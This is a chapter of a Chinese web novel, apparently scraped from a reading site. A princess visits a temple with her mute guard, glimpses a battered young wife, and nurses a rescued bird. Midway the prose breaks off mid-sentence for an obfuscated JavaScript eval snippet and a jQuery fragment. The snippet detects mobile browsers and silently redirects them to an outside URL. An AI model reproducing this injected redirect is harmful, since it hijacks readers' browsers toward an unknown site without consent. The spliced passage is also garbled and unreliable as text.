他手里还捧着一个小雪人,雪人的大小已经恢复了先前的模样,焕然一新。
看见她,哑奴匆忙放下小雪人,遮遮掩掩地挡住。
谢明棠走近他,假装没看到,轻斥,“你怎么又来了?”
他抿了抿唇,“刺客还没抓到,不安全。”
谢明棠不满,用力戳了戳他的肩膀,“你的伤好了?”
哑奴果然嘶了一声。
“再有下次,我就罚你了!几次三番不听我的话……”她横了他一眼。
哑奴沉默点了点头。
谢明棠就当他同意了,眼睛眨呀眨的,“收拾一下,随本公主出府。”
-
静安寺处于京郊,隐于山林之中。寺庙清净,香烟渺渺,时不时响起庄重的钟声。
年关将至,前往寺庙祈福的人众多,老少皆有。若去得晚了,估计连山门都进不去。
幸好她起了个大早。
谢明棠走到大殿门口,心中庆幸。
她从旁边的小沙弥手中接过香火,越过门槛,踏进去。
咦?
竟然已经有人到了。
一个纤瘦的女子跪在蒲团上,身着白裙,挽着已婚女子才能挽的发髻。背影纤细可怜,摇摇欲坠。
她谦卑恭敬地跪着,时不时叩首,庄重虔诚。
看来她真的很希望愿望成真啊。
谢明棠走到蒲团前跪下,多看了女子几眼。
她带着面纱,看不清相貌。衣领严严实实扣在颈前,仅仅露出后颈一丁点皮肤。
肤色偏黄,隐隐有些青色。
和脖颈相比,她额头、眼周都敷着浓浓的粉,显得格外白。
“神佛在上,让妾早日往生极乐。妾……”
谢明棠正欲收回的目光一顿。
她在跪求神佛,让自己早点死?
蹙眉多看了一会儿,怕女子察觉,她匆匆收回视线,看向神佛。
谢明棠闭眼,双手合十,虔诚跪拜。
保佑母后下辈子幸福美满,嫁得良人。
保佑皇兄南疆一行顺遂,能平安回京。
保佑父皇龙体康健,无病无灾。
保佑皇奶奶福如东海,寿比南山。
谢明棠搜刮着肚中所有词,向神佛祈求庇佑。
保佑大晋风调雨顺,百姓安居乐业,不要有战乱,不要有天灾……
她默默念完,终于想到了自己。
“佛祖保佑,保佑满满平安顺遂,不受束缚,自由如风。”
殿外,哑奴百无聊赖,替公主守着马车。
公主最起码已经进去一刻钟了。
哑奴走到殿门口,双眉紧锁。
他不信神佛,不信菩萨,只信自己,完全无法理解有人竟然会跪在冷冰冰的佛像前祈求佑护。
公主娇小,虔诚跪在蒲团上,拜了几拜。
哑奴嗤笑一声,不屑一顾,眼神冰冷。
谢明棠仔细数了数,发现没什么遗漏的了,终于睁开眼。
她往旁边看了一眼,原本跪在这里的女子已经不见了。
谢明棠下意识看向门口,仍然没有找到女子的身影,反而看到了哑奴。
他倚在门框上,姿态桀骜,丝毫没有香客们的恭敬虔诚之意。
谢明棠纠结了会,又扭回头望了望佛像,“希望哑奴愿望成真。”
说完,她利落起身。
嗯?这人又去哪了?刚才不还在门口。
谢明棠满脸疑惑,快步走出殿门,探头望了望。
哑奴正站在寺旁的许愿古树前。
她转了转眼珠,蹑手蹑脚地走过去,正欲吓他一跳,却听到男人低沉和缓的声音。
“神佛在上,我的愿望都让给公主,保佑她得偿所愿。”
谢明棠怔在原地。
“赵夫人,您终于出来了,祈个福都要花这么久!”
“少爷不着家,还不是你不行!还求什么子啊,求子也没用!”
吵嚷声响起。
谢明棠仓促移开目光,佯装淡定,“咳咳,走吧。”
哑奴敛下眼眸,嘴角微勾。
吵嚷声越来越大,吸引了很多人的围观。
“……这是赵家的马车?”谢明棠好奇地看了几眼,“是她……”
那个跪在她旁边祈福的女子。
谢明棠停下脚步,莫非她就是刚刚嫁给赵筠的女子。
大学士孙家的女儿,高雅端庄、温婉贤淑,在上京内名声极好。
上个月,她嫁给赵筠,成为赵家的儿媳。
椿榕说,两人琴瑟之和,幸福美满,赵筠因为她收心不再留恋青楼楚馆。
现在看来,完全不是一回事啊。
“快走!少爷要回来了。”一个侍从打扮的人满脸不耐烦,伸手推搡。
谢明棠看不过去,出声制止。
“你是哪里的小娘们?多管闲事!”侍从举止嚣张,言语粗俗,转眼,他们围了过来。
哑奴皱眉,侧身挡在公主身前。
不等这些人继续出言辱骂,三两下把人揍到地上,老老实实趴着。
“好了好了。”谢明棠冷冷扫了地上人一眼,让哑奴停手。
哑奴挥出的拳头硬生生停在空中。
他啧了一声,眼神阴翳,目光沉沉划过他们的脖子。
“饶、饶命!”为首的侍从瑟瑟发抖,扑通一声跪倒在地,“小的有眼不识泰山,竟然没认出公主殿下……”
赵夫人眸光一颤。一阵风吹过,面纱轻轻扬起,露出下面苍白的脸。
谢明棠目光一顿,“夫人,如果需要帮助可以来公主府找我。”
赵夫人连连摇头,脸色更白了,孱弱的身子发着抖,踉跄着踩上马车,一句话都没说。
赵家的马车开走了。
谢明棠若有所思,刚才赵夫人的面纱被吹起,她看到她嘴角处一片青紫。
可她却说都不敢说。
哑奴抽出一直带在身上的手帕,垂眸,一点点认真擦净拳头上的血。
见公主闷闷不乐,他问,“去挂红绸?”
静安寺人多了很多,许愿古树下挤满了人。
这棵树已经活了两百多年,寺庙历经风雨,坍塌重建,它却始终葳蕤。后来,祈福之人来到古树下,在它的枝干上系了红绸,此后这个习俗便一直保留下来,直至今天。
谢明棠站在树下,仰头看着高耸得过头的树,她把红绸递给哑奴,“去挂。”
哑奴手臂伸长,轻易将红绸挂上枝头。
长长的红绸系满了枝桠,垂落下来,随风飘荡,像极了成亲仪式。
她仰着头看,只觉得红绸密密麻麻,编织成一张大网,覆盖过来。
红绸喜庆,明明代表了美好期许,她却如鲠在喉,觉得像一座牢笼。
谢明棠眨了眨酸涩的眼,退后几步,不再仰头看。
她走出树荫,走到外面,只觉得古树
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15825831|175515||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
身上缠着红绸,为原本单调的树干增添了亮色。
“啾啾啾——”
小鸟凄厉的叫声响起。
几个小孩蹦跳着欢呼着,爬上树把小鸟挂到了树梢上。
红绸一边系着小鸟的腿,一边绑在树枝上。
小鸟倒悬,挂在上面,风一吹,顿时摇摇晃晃地打转,鸟声愈加悲切无助。
谢明棠只觉得心里堵得慌。
哑奴抬腿,一个跳跃,轻易拽断了红绸。
纠缠在小鸟身上的红绸瞬间飘落。
他一手捧着小鸟,走到公主面前,“只需要上几天药,它就能飞了。”
谢明棠眨了下眼,从他手中接过小鸟,温柔地摸了摸它的头,只觉得心中堆积的酸涩情绪骤然一空。
-
回府后,谢明棠特意吩咐椿榕准备一只鸟笼。
她虽然不想拘着这鸟,但它受了伤,而且她院中还养了只狸奴,谢明棠担心这两个小家伙不对付。
椿榕哎了一声,急忙下去准备。
煤球不知道跑到哪里玩了,暂时不在院中,这倒方便了她。
谢明棠没养过鸟,好在父皇爱鸟,经常逗弄,连带着她也看懂了些。
她拿出一根细细的绳子,圈在小鸟的跗跖处,一边轻柔安抚,“别怕啊,涂完药就给你摘了。”
小鸟或许尚未从恐惧中回过神,极为乖巧,听话得一动不动。
谢明棠一边给它吹气,一边给它破了皮的地方抹药,脸上全是心疼。
哑奴就在旁边这么看着。
他脸色并不好看,冷冷盯着乖巧的小鸟,只觉得它哪哪都不顺眼。
“好了!”谢明棠兴奋地解开绳子,顺便梳了梳小鸟乱糟糟的羽毛,双手温柔地捧着它,把小鸟放到鸟笼里。
小鸟扑扇了两下翅膀,豆子一样的眼珠转了转,片刻后终于安静下来,低头啄米吃。
看它适应良好,谢明棠终于放下心。
她把鸟笼挂好,还特意寻了个厚实的布匹遮住吹来的风。
做完这一切后,谢明棠满意的拍拍手,打算回屋就寝。
忽然想到了什么,她啊了一声,看向一直待在她旁边的哑奴,“好了,没事了,你回去吧。”
哑奴牢牢地盯着她,眼神不善。
“公主忘记奴了?”
谢明棠咳了两声,狡辩,“没有!太忙了没顾得上你。”
“公主为何让我在这?”
“你不是在山里待过嘛,应该见过不少鸟,万一这只小鸟生了什么病,你应该知道怎么做,是不是?”谢明棠回答得极为顺溜。
哑奴:“……”
他深吸一口气,冷冷瞥了眼欢快啄米的小鸟,冷冰冰道,“奴告退。”
说完,他头也不回地大步离开。
谢明棠一脸茫然,无辜地撅了下嘴,平白无故的生什么气嘛。
“啾啾啾——”
她哎了一声,转头把疑惑抛到脑后,夸它叫声洪亮,奖励它一大把粟米。
今日在外面跑了一圈,离开的时候还气哄哄的,他今晚应该不会来守门了吧。
谢明棠睡前,又爬起来探出窗口朝外看了眼。
果然没什么人。
说不上高兴还是失望,她正要关上窗,不经意瞥到窗沿上两只可爱的小雪人。
她伸出一根手指,像摸小鸟头一样摸了摸两个小雪人的脑袋,甜笑,“今晚上就只有你俩保护我睡觉咯。”